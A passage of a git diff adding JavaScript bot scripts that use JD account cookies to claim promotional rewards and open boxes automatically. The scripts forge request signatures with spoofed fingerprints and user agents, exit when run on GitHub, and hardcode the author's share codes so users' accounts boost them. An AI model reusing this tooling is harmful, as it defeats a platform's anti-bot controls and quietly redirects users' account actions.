t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/jd_cfd_pearl_ex.js b/jd_cfd_pearl_ex.js new file mode 100644 index 0000000..f1d2dc4 --- /dev/null +++ b/jd_cfd_pearl_ex.js @@ -0,0 +1,370 @@ +/* +财富岛珍珠兑换 +cron 59 0-23/1 * * * jd_cfd_pearl_ex.js +更新时间:2021-9-11 +活动入口:京喜APP-我的-京喜财富岛-最左侧建筑 + */ +const $ = new Env("财富岛珍珠兑换"); +const JD_API_HOST = "https://m.jingxi.com/"; +const notify = require('./sendNotify') +const jdCookieNode = require("./jdCookie.js") +let cookiesArr = [], cookie = '', token = ''; +const UA = process.env.JX_USER_AGENT || `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +$.appId = 10032; +!(async () => { +console.log(`\n兑换红包环境变量:export ddwVirHb='1' 请自行设置兑换金额\n`); +console.log(`默认红包余额大于0.2元就参与兑换\n`); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + await $.wait(1000) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.nickName = ''; + $.isLogin = true; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + $.info = {} + await perl_auto() + console.log(`请求兑换API后时间 ${(new Date()).Format("yyyy-MM-dd hh:mm:ss | S")}`) + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); + +async function wait(starttime = process.env.pearl_wait || 60){ + const nowtime = new Date().Format("s.S") + if ($.index == 1 && nowtime < starttime) { + const sleeptime = (starttime - nowtime) * 1000; + console.log(`等待时间 ${sleeptime / 1000}`); + await $.wait(sleeptime) + } +} +async function perl_auto() { + try { + await refresh_perl() + if (!$.perl_data) { + console.error('$.perl_data not found') + return + } + const ddwVirHb = $.perl_data.ddwVirHb + console.log('当前余额:',ddwVirHb/100) + let prizes = [...$.perl_data.exchangeInfo.prizeInfo,$.perl_data.exchangeInfo.randHbPrizeInfo].filter(prize => { + const strPrizeName = prize.strPrizeName || '随机红包' + let flag = !prize.Condition.some(condition => { + const flag = condition.reach != 1 + if (flag){ + console.log(strPrizeName,': ',condition.descr,' 未达到') + } + return flag + }) + if (flag) { + if (prize.dwState == 3) { + flag = false + console.log(strPrizeName, '已兑换过') + }else if (!prize.strPrizeName || prize.ddwVirHb <= (process.env.ddwVirHb || 0.2) * 100) { + flag = false + console.log(strPrizeName, '不大于', (process.env.ddwVirHb || 0.2), '元 过滤') + } else if (prize.dwState == 1) { + console.log(strPrizeName, '当前缺货,但依然兑换.') + } else { + console.log(strPrizeName, '有货,一会兑换') + } + } + return flag + }) + await wait() + if (!prizes.length) { + console.log('无红包满足条件,结束') + return + } + if (prizes.length > 1){ + prizes.sort((x,y) => { + ddwVirHb_x = x.ddwVirHb || 0 + ddwVirHb_y = y.ddwVirHb || 0 + if (ddwVirHb_x > ddwVirHb_y) { + return -1 + } + if (ddwVirHb_x < ddwVirHb_y) { + return 1; + } + return 0 + }) + } + // console.debug('prizes:',prizes) + for (let i = 0; i < prizes.length; i++) { + const prize = prizes[i] + console.log('兑换面额:', prize.strPrizeName || '随机红包') + await perl_rp(prize.dwLvl,prize.ddwVirHb ? 0 : 1,prize.ddwVirHb,prize.strPool) + await $.wait(3000) + } + } catch (e) { + $.logErr(e) + } +} + +async function perl_rp(dwLvl,dwIsRandHb,ddwVirHb,strPoolName) { + return new Promise(async (resolve) => { + $.get(taskUrl_perl('user/ExchangePearlHb',dwLvl,dwIsRandHb,ddwVirHb,strPoolName), async (err, resp, data) => { + try { + if (err) { + console.error(`${JSON.stringify(err)}`) + console.error(`${$.name} perl_rp API请求失败,请检查网路重试`) + } else { + console.debug('perl_rp:',data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +async function refresh_perl() { + return new Promise(async (resolve) => { + const timestamp = Date.now() + let url = `${JD_API_HOST}jxbfd/user/ExchangePearlState?__t=${timestamp + 2}&strZone=jxbfd&dwExchangeType=undefined&_ste=1`; + url += `&h5st=${decrypt(timestamp, '', '', url)}&_=${timestamp + 2}&sceneval=2&g_login_type=1`; + // console.debug('taskUrl_perl:',url) + $.get({ + url, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer:"https://st.jingxi.com/", + "Accept-Encoding": "gzip, deflate, br", + Host: "m.jingxi.com", + "User-Agent": UA, + "Accept-Language": "zh-cn", + }, + timeout: 10000 + }, async (err, resp, data) => { + try { + if (err) { + console.error(`${JSON.stringify(err)}`) + console.error(`${$.name} refresh_rp API请求失败,请检查网路重试`) + } else { + console.debug('refresh_perl:',data) + $.perl_data = JSON.parse(data) + $.dwExchangeType = $.perl_data.dwExchangeType + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function taskUrl_perl(function_path, dwLvl,dwIsRandHb,ddwVirHb,strPoolName) { + const timestamp = Date.now() + let url = `${JD_API_HOST}jxbfd/${function_path}?__t=${timestamp + 2}&strZone=jxbfd&dwLvl=${dwLvl}&dwIsRandHb=${dwIsRandHb}&ddwVirHb=${ddwVirHb}&strPoolName=${strPoolName}&dwExchangeType=${$.dwExchangeType}&_stk=__t%2CddwVirHb%2CdwExchangeType%2CdwIsRandHb%2CdwLvl%2CstrPoolName%2CstrZone&_ste=1`; + url += `&h5st=${decrypt(timestamp, '', '', url)}&_=${timestamp + 2}&sceneval=2&g_login_type=1`; + // console.debug('taskUrl_perl:',url) + return { + url, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer:"https://st.jingxi.com/", + "Accept-Encoding": "gzip, deflate, br", + Host: "m.jingxi.com", + "User-Agent": UA, + "Accept-Language": "zh-cn", + }, + timeout: 10000 + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +function randomString(e) { + e = e || 32; + let t = "0123456789abcdef", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_cjhz.js b/jd_cjhz.js new file mode 100644 index 0000000..cad0249 --- /dev/null +++ b/jd_cjhz.js @@ -0,0 +1,402 @@ +/* +京东超级盒子 +更新时间:2022-1-9 +活动入口:京东APP-搜索-超级盒子 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东超级盒子 +24 3,13 * * * https://raw.githubusercontent.com/msechen/script/main/jd_cjhz.js, tag=京东超级盒子, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true + +================Loon============== +[Script] +cron "24 3,13 * * *" script-path=https://raw.githubusercontent.com/msechen/script/main/jd_cjhz.js,tag=京东超级盒子 + +===============Surge================= +京东超级盒子 = type=cron,cronexp="24 3,13 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/msechen/script/main/jd_cjhz.js + +============小火箭========= +京东超级盒子 = type=cron,script-path=https://raw.githubusercontent.com/msechen/script/main/jd_cjhz.js, cronexpr="24 3,13 * * *", timeout=3600, enable=true + */ + +const $ = new Env('京东超级盒子'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = '', + secretp = '', + joyToken = ""; +$.shareCoseList = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +!(async () => { + console.log('活动入口:京东APP-搜索-超级盒子') + console.log('开箱目前结果为空气和红包,没发现豆子') + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + await getToken(); + cookiesArr = cookiesArr.map(ck => ck + `joyytoken=50084${joyToken};`) + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + continue + } + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + console.log(`\n入口:app主页搜超级盒子\n`); + await main() + } + }; + $.shareCoseList = [...new Set([...$.shareCoseList,'QmLpaFXm34BaWgn3C3O2WA','ffn_Yc--WKEab2iPzmVB4BM3VKR8-0h7mdYsY627fC0','c_HK4TBhdsqsRJPgFj7RpA'])] + //去助力与开箱 + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + continue + } + if ($.shareCoseList.length >= 2) { + for (let y = 0; y < $.shareCoseList.length; y++) { + console.log(`京东账号${$.index} ${$.nickName || $.UserName}去助力${$.shareCoseList[y]}`) + await helpShare({ "taskId": $.helpId, "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": $.shareCoseList[y] }); + await $.wait(1000); + } + } + } + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + continue + } + //开箱 + console.log(`京东账号${$.index}去开箱`) + for (let y = 0; y < $.lotteryNumber; y++) { + console.log(`可以开箱${$.lotteryNumber}次 ==>>第${y+1}次开箱`) + await openBox({ "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": "" }); + await $.wait(1000); + } + } + } +})() +.catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function main() { + await superboxSupBoxHomePage({ "taskId": "", "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": "" }) + console.log(`【京东账号${$.index}】${$.nickName || $.UserName}互助码:${$.encryptPin}`) + await $.wait(1000); + await apTaskList({ "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": $.encryptPin }); + if ($.allList) { + for (let i = 0; i < $.allList.length; i++) { + $.oneTask = $.allList[i]; + if (["SHARE_INVITE"].includes($.oneTask.taskType)) { + $.helpId = $.oneTask.id; + $.helpLimit = $.oneTask.taskLimitTimes; + }; + if (["BROWSE_SHOP"].includes($.oneTask.taskType) && $.oneTask.taskFinished === false) { + await apTaskDetail({ "taskId": $.oneTask.id, "taskType": $.oneTask.taskType, "channel": 4, "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": "7pcfSWHrAG9MKu3RKLl127VL5L4aIE1sZ1eRRdphpl8" }); + await $.wait(1000) + for (let y = 0; y < ($.doList.status.finishNeed - $.doList.status.userFinishedTimes); y++) { + $.startList = $.doList.taskItemList[y]; + $.itemName = $.doList.taskItemList[y].itemName; + console.log(`去浏览${$.itemName}`) + await apDoTask({ "taskId": $.allList[i].id, "taskType": $.allList[i].taskType, "channel": 4, "itemId": $.startList.itemId, "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": "7pcfSWHrAG9MKu3RKLl127VL5L4aIE1sZ1eRRdphpl8" }) + await $.wait(1000) + } + } + } + } else { + console.log(`任务全部完成`) + } +} + +//活动主页 +function superboxSupBoxHomePage(body) { + return new Promise((resolve) => { + $.get(taskGetUrl('superboxSupBoxHomePage', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superboxSupBoxHomePage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 0) { + $.encryptPin = data.data.encryptPin; + $.shareCoseList.push($.encryptPin) + $.lotteryNumber = data.data.lotteryNumber + } else { + console.log(`superboxSupBoxHomePage:${JSON.stringify(data)}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + + +//获取任务列表 +function apTaskList(body) { + return new Promise((resolve) => { + $.get(taskGetUrl('apTaskList', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} apTaskList API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 0) { + $.allList = data.data + //console.log(JSON.stringify($.allList[1])); + } else { + console.log(`apTaskList错误:${JSON.stringify(data)}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//获取任务分表 +function apTaskDetail(body) { + return new Promise((resolve) => { + $.get(taskGetUrl('apTaskDetail', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} apTaskDetail API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 0) { + $.doList = 